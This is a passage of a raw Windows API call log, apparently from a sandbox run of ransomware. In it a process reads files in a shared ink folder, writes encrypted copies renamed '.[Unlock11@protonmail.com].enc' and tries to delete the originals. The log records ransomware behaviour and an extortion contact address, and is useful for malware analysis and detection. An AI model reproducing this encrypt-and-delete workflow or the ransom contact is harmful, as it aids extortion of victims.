returned 0x0 [0120.878] GetLastError () returned 0x0 [0120.878] GetCurrentThreadId () returned 0x9b0 [0120.878] GetLastError () returned 0x0 [0120.878] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea918 | out: hHeap=0x2ad0000) returned 1 [0120.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacb0 [0120.879] GetLastError () returned 0x0 [0120.879] GetLastError () returned 0x0 [0120.879] GetLastError () returned 0x0 [0120.879] GetLastError () returned 0x0 [0120.879] GetCurrentThreadId () returned 0x9b0 [0120.879] GetLastError () returned 0x0 [0120.879] GetCurrentThreadId () returned 0x9b0 [0120.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacb0 | out: hHeap=0x2ad0000) returned 1 [0120.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32652c8 [0120.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0120.879] GetLastError () returned 0x0 [0120.880] GetLastError () returned 0x0 [0120.880] GetLastError () returned 0x0 [0120.880] GetLastError () returned 0x0 [0120.880] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0120.880] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265308 [0120.880] GetLastError () returned 0x0 [0120.880] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0120.880] GetFileType (hFile=0x39c) returned 0x1 [0120.881] GetLastError () returned 0x0 [0120.881] GetCurrentThreadId () returned 0x9b0 [0120.881] GetLastError () returned 0x0 [0120.881] GetFileType (hFile=0x39c) returned 0x1 [0120.881] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.881] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.881] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.881] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.881] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.881] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.881] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.881] GetLastError () returned 0x0 [0120.882] GetCurrentThreadId () returned 0x9b0 [0120.882] GetLastError () returned 0x0 [0120.882] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265308 | out: hHeap=0x2ad0000) returned 1 [0120.882] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38879b0 | out: hHeap=0x2ad0000) returned 1 [0120.882] GetLastError () returned 0x0 [0120.882] GetLastError () returned 0x0 [0120.882] GetLastError () returned 0x0 [0120.882] GetLastError () returned 0x0 [0120.883] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0120.883] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265308 [0120.883] GetLastError () returned 0x0 [0120.883] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0120.883] GetFileType (hFile=0x3ac) returned 0x1 [0120.883] GetLastError () returned 0x0 [0120.883] GetCurrentThreadId () returned 0x9b0 [0120.883] GetLastError () returned 0x0 [0120.884] GetFileType (hFile=0x3ac) returned 0x1 [0120.884] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.884] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.884] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.884] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.884] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.884] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.884] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.884] GetLastError () returned 0x0 [0120.884] GetCurrentThreadId () returned 0x9b0 [0120.884] GetLastError () returned 0x0 [0120.885] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265308 | out: hHeap=0x2ad0000) returned 1 [0120.885] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7b8 | out: hHeap=0x2ad0000) returned 1 [0120.885] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0120.885] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.885] GetLastError () returned 0x0 [0120.885] GetLastError () returned 0x0 [0120.885] GetCurrentThreadId () returned 0x9b0 [0120.885] GetLastError () returned 0x0 [0120.885] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0120.885] GetLastError () returned 0x0 [0120.885] GetLastError () returned 0x0 [0120.886] GetCurrentThreadId () returned 0x9b0 [0120.886] GetLastError () returned 0x0 [0120.886] GetLastError () returned 0x0 [0120.887] GetLastError () returned 0x0 [0120.887] GetCurrentThreadId () returned 0x9b0 [0120.887] GetLastError () returned 0x0 [0120.887] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x999) returned 0x35c5908 [0120.888] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x9a5) returned 0x35c5908 [0120.888] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0120.888] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652c8 | out: hHeap=0x2ad0000) returned 1 [0120.888] GetCurrentThreadId () returned 0x9b0 [0120.888] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x9a8) returned 0x35be9f8 [0120.888] GetLastError () returned 0x0 [0120.888] GetLastError () returned 0x0 [0120.888] GetLastError () returned 0x0 [0120.888] GetLastError () returned 0x0 [0120.888] GetCurrentThreadId () returned 0x9b0 [0120.888] GetLastError () returned 0x0 [0120.889] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35be9f8 | out: hHeap=0x2ad0000) returned 1 [0120.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0120.889] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0120.889] GetLastError () returned 0x0 [0120.889] GetLastError () returned 0x0 [0120.889] GetCurrentThreadId () returned 0x9b0 [0120.889] GetLastError () returned 0x0 [0120.889] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bf3a8 | out: hHeap=0x2ad0000) returned 1 [0120.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c62b8 [0120.889] GetLastError () returned 0x0 [0120.890] GetLastError () returned 0x0 [0120.890] GetCurrentThreadId () returned 0x9b0 [0120.890] GetLastError () returned 0x0 [0120.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c62b8 | out: hHeap=0x2ad0000) returned 1 [0120.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.890] GetLastError () returned 0x0 [0120.891] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0120.891] CloseHandle (hObject=0x3ac) returned 1 [0120.891] GetLastError () returned 0x0 [0120.891] GetCurrentThreadId () returned 0x9b0 [0120.891] GetLastError () returned 0x0 [0120.892] GetLastError () returned 0x0 [0120.892] CloseHandle (hObject=0x39c) returned 1 [0120.892] GetLastError () returned 0x0 [0120.892] GetCurrentThreadId () returned 0x9b0 [0120.892] GetLastError () returned 0x0 [0120.892] GetLastError () returned 0x0 [0120.892] GetLastError () returned 0x0 [0120.892] GetLastError () returned 0x0 [0120.892] GetLastError () returned 0x0 [0120.892] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0 [0120.893] GetLastError () returned 0x5 [0120.893] GetCurrentThreadId () returned 0x9b0 [0120.893] GetLastError () returned 0x5 [0120.893] GetLastError () returned 0x5 [0120.893] GetLastError () returned 0x5 [0120.893] GetLastError () returned 0x5 [0120.893] LocalFree (hMem=0x1053c70) returned 0x0 [0120.893] GetCurrentThreadId () returned 0x9b0 [0120.893] GetLastError () returned 0x5 [0120.894] GetLastError () returned 0x5 [0120.894] GetLastError () returned 0x5 [0120.894] GetLastError () returned 0x5 [0120.894] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml", lpFilePart=0x9bada4*="ipscsy.xml") returned 0x3d [0120.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0120.894] GetCurrentThreadId () returned 0x9b0 [0120.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0120.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0120.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0120.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaad0 [0120.895] GetLastError () returned 0x0 [0120.895] GetLastError () returned 0x0 [0120.895] GetLastError () returned 0x0 [0120.895] GetLastError () returned 0x0 [0120.895] GetCurrentThreadId () returned 0x9b0 [0120.895] GetLastError () returned 0x0 [0120.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaad0 | out: hHeap=0x2ad0000) returned 1 [0120.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacb0 [0120.895] GetCurrentThreadId () returned 0x9b0 [0120.895] GetLastError () returned 0x0 [0120.895] GetLastError () returned 0x0 [0120.896] GetLastError () returned 0x0 [0120.896] GetLastError () returned 0x0 [0120.896] GetCurrentThreadId () returned 0x9b0 [0120.896] GetLastError () returned 0x0 [0120.896] GetLastError () returned 0x0 [0120.896] GetLastError () returned 0x0 [0120.896] GetLastError () returned 0x0 [0120.896] GetLastError () returned 0x0 [0120.896] GetCurrentThreadId () returned 0x9b0 [0120.896] GetLastError () returned 0x0 [0120.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacb0 | out: hHeap=0x2ad0000) returned 1 [0120.897] GetLastError () returned 0x0 [0120.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0120.897] GetLastError () returned 0x0 [0120.897] GetLastError () returned 0x0 [0120.897] GetLastError () returned 0x0 [0120.897] GetCurrentThreadId () returned 0x9b0 [0120.897] GetLastError () returned 0x0 [0120.897] GetLastError () returned 0x0 [0120.897] GetLastError () returned 0x0 [0120.897] GetLastError () returned 0x0 [0120.898] GetLastError () returned 0x0 [0120.898] GetCurrentThreadId () returned 0x9b0 [0120.898] GetLastError () returned 0x0 [0120.898] GetCurrentThreadId () returned 0x9b0 [0120.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0120.898] GetLastError () returned 0x0 [0120.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0120.898] GetLastError () returned 0x0 [0120.899] GetLastError () returned 0x0 [0120.899] GetLastError () returned 0x0 [0120.899] GetCurrentThreadId () returned 0x9b0 [0120.899] GetLastError () returned 0x0 [0120.899] GetLastError () returned 0x0 [0120.899] GetLastError () returned 0x0 [0120.899] GetLastError () returned 0x0 [0120.899] GetLastError () returned 0x0 [0120.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.899] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9fc)) returned 1 [0120.900] GetLastError () returned 0x0 [0120.900] GetCurrentThreadId () returned 0x9b0 [0120.900] GetLastError () returned 0x0 [0120.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887380 | out: hHeap=0x2ad0000) returned 1 [0120.900] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366afac | out: pbBuffer=0x366afac) returned 1 [0120.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0120.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0120.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0120.900] GetCurrentThreadId () returned 0x9b0 [0120.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac38 [0120.900] GetLastError () returned 0x0 [0120.901] GetLastError () returned 0x0 [0120.901] GetLastError () returned 0x0 [0120.901] GetLastError () returned 0x0 [0120.901] GetCurrentThreadId () returned 0x9b0 [0120.901] GetLastError () returned 0x0 [0120.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eac38 | out: hHeap=0x2ad0000) returned 1 [0120.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8a0 [0120.901] GetCurrentThreadId () returned 0x9b0 [0120.901] GetLastError () returned 0x0 [0120.901] GetLastError () returned 0x0 [0120.902] GetLastError () returned 0x0 [0120.902] GetLastError () returned 0x0 [0120.902] GetCurrentThreadId () returned 0x9b0 [0120.902] GetLastError () returned 0x0 [0120.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8a0 | out: hHeap=0x2ad0000) returned 1 [0120.902] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32652c8 [0120.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0120.902] GetLastError () returned 0x0 [0120.902] GetLastError () returned 0x0 [0120.902] GetLastError () returned 0x0 [0120.902] GetLastError () returned 0x0 [0120.903] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0120.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265308 [0120.903] GetLastError () returned 0x0 [0120.903] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0120.903] GetFileType (hFile=0x39c) returned 0x1 [0120.903] GetLastError () returned 0x0 [0120.903] GetCurrentThreadId () returned 0x9b0 [0120.903] GetLastError () returned 0x0 [0120.903] GetFileType (hFile=0x39c) returned 0x1 [0120.903] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.904] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.904] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.904] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.904] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.904] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.904] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.904] GetLastError () returned 0x0 [0120.904] GetCurrentThreadId () returned 0x9b0 [0120.904] GetLastError () returned 0x0 [0120.904] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265308 | out: hHeap=0x2ad0000) returned 1 [0120.904] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0120.904] GetLastError () returned 0x0 [0120.905] GetLastError () returned 0x0 [0120.905] GetLastError () returned 0x0 [0120.905] GetLastError () returned 0x0 [0120.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0120.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265308 [0120.905] GetLastError () returned 0x0 [0120.905] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0120.905] GetFileType (hFile=0x3ac) returned 0x1 [0120.906] GetLastError () returned 0x0 [0120.906] GetCurrentThreadId () returned 0x9b0 [0120.906] GetLastError () returned 0x0 [0120.906] GetFileType (hFile=0x3ac) returned 0x1 [0120.906] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.906] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.906] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.906] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.906] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.906] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.906] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.906] GetLastError () returned 0x0 [0120.906] GetCurrentThreadId () returned 0x9b0 [0120.907] GetLastError () returned 0x0 [0120.907] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265308 | out: hHeap=0x2ad0000) returned 1 [0120.907] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0120.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0120.907] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0120.907] GetLastError () returned 0x0 [0120.907] GetLastError () returned 0x0 [0120.907] GetCurrentThreadId () returned 0x9b0 [0120.907] GetLastError () returned 0x0 [0120.907] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.907] GetLastError () returned 0x0 [0120.908] GetLastError () returned 0x0 [0120.908] GetCurrentThreadId () returned 0x9b0 [0120.908] GetLastError () returned 0x0 [0120.908] GetLastError () returned 0x0 [0120.909] GetLastError () returned 0x0 [0120.909] GetCurrentThreadId () returned 0x9b0 [0120.910] GetLastError () returned 0x0 [0120.910] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xa11) returned 0x35c5908 [0120.910] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xa15) returned 0x35c5908 [0120.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265308 [0120.910] GetCurrentThreadId () returned 0x9b0 [0120.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652c8 | out: hHeap=0x2ad0000) returned 1 [0120.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa18) returned 0x35be9f8 [0120.910] GetLastError () returned 0x0 [0120.910] GetLastError () returned 0x0 [0120.910] GetLastError () returned 0x0 [0120.910] GetLastError () returned 0x0 [0120.911] GetCurrentThreadId () returned 0x9b0 [0120.911] GetLastError () returned 0x0 [0120.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35be9f8 | out: hHeap=0x2ad0000) returned 1 [0120.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0120.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0120.911] GetLastError () returned 0x0 [0120.911] GetLastError () returned 0x0 [0120.911] GetCurrentThreadId () returned 0x9b0 [0120.911] GetLastError () returned 0x0 [0120.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bf418 | out: hHeap=0x2ad0000) returned 1 [0120.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c6328 [0120.911] GetLastError () returned 0x0 [0120.912] GetLastError () returned 0x0 [0120.912] GetCurrentThreadId () returned 0x9b0 [0120.912] GetLastError () returned 0x0 [0120.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c6328 | out: hHeap=0x2ad0000) returned 1 [0120.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.912] GetLastError () returned 0x0 [0120.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0120.913] CloseHandle (hObject=0x3ac) returned 1 [0120.914] GetLastError () returned 0x0 [0120.914] GetCurrentThreadId () returned 0x9b0 [0120.914] GetLastError () returned 0x0 [0120.914] GetLastError () returned 0x0 [0120.914] CloseHandle (hObject=0x39c) returned 1 [0120.914] GetLastError () returned 0x0 [0120.914] GetCurrentThreadId () returned 0x9b0 [0120.914] GetLastError () returned 0x0 [0120.914] GetLastError () returned 0x0 [0120.914] GetLastError () returned 0x0 [0120.915] GetLastError () returned 0x0 [0120.915] GetLastError () returned 0x0 [0120.915] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0 [0120.915] GetLastError () returned 0x5 [0120.915] GetCurrentThreadId () returned 0x9b0 [0120.915] GetLastError () returned 0x5 [0120.915] GetLastError () returned 0x5 [0120.915] GetLastError () returned 0x5 [0120.915] GetLastError () returned 0x5 [0120.915] LocalFree (hMem=0x1053a70) returned 0x0 [0120.916] GetCurrentThreadId () returned 0x9b0 [0120.916] GetLastError () returned 0x5 [0120.916] GetLastError () returned 0x5 [0120.916] GetLastError () returned 0x5 [0120.916] GetLastError () returned 0x5 [0120.916] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml", lpFilePart=0x9bada4*="ipsdan.xml") returned 0x3d [0120.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0120.916] GetCurrentThreadId () returned 0x9b0 [0120.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0120.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0120.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0120.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8a0 [0120.917] GetLastError () returned 0x0 [0120.917] GetLastError () returned 0x0 [0120.917] GetLastError () returned 0x0 [0120.917] GetLastError () returned 0x0 [0120.917] GetCurrentThreadId () returned 0x9b0 [0120.917] GetLastError () returned 0x0 [0120.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8a0 | out: hHeap=0x2ad0000) returned 1 [0120.917] GetCurrentThreadId () returned 0x9b0 [0120.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacb0 [0120.918] GetLastError () returned 0x0 [0120.918] GetLastError () returned 0x0 [0120.918] GetLastError () returned 0x0 [0120.918] GetLastError () returned 0x0 [0120.918] GetCurrentThreadId () returned 0x9b0 [0120.918] GetLastError () returned 0x0 [0120.918] GetLastError () returned 0x0 [0120.918] GetLastError () returned 0x0 [0120.918] GetLastError () returned 0x0 [0120.918] GetLastError () returned 0x0 [0120.919] GetCurrentThreadId () returned 0x9b0 [0120.919] GetLastError () returned 0x0 [0120.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacb0 | out: hHeap=0x2ad0000) returned 1 [0120.919] GetLastError () returned 0x0 [0120.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0120.919] GetLastError () returned 0x0 [0120.919] GetLastError () returned 0x0 [0120.919] GetLastError () returned 0x0 [0120.919] GetCurrentThreadId () returned 0x9b0 [0120.919] GetCurrentThreadId () returned 0x9b0 [0120.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a7a8 [0120.920] GetCurrentThreadId () returned 0x9b0 